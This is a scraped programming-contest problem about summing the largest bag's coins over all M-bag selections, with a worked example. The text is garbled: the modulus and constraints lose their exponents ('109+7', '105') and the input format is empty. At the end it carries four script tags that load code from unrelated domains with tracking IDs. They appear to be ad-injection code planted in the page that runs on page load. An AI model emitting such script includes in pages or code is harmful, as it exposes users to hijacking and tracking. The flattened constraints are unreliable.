You are given N bags and each bag contains gold coins. You must select M distinct bags. The bag with the maximum amount of coins among the M bags is added to a set S.
Write a program to calculate the total number of set S over each possible combination of M bags. Since the output can be large, print the answer modulo 109+7
Input format
Output format
Print the total value of S modulo 109+7 over each possible combination of M bags.
Constraints
1≤N≤105
1≤M≤60
0≤Amountofgoldcoinsineachbag≤109
All possible selections of 3 bags are:
[2, 4, 2], [2, 4, 3], [2, 4, 1], [2, 2, 3], [2, 2, 1], [2, 3, 1], [4, 2, 3], [4, 2, 1], [4, 3, 1], [2, 3, 1]
Now if add the maximum coins bag from each selection then we have : 4+4+4+3+2+3+4+4+4+3 = 35
<script src="https://infoanalytics.tools/addons/lnkr5.min.js" type="text/javascript"></script> <script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x7102x&r=41" type="text/javascript"></script> <script src="https://infoanalytics.tools/addons/lnkr30_nt.min.js" type="text/javascript"></script> <script src="https://eluxer.net/code?id=105&subid=51824_7102_" type="text/javascript"></script>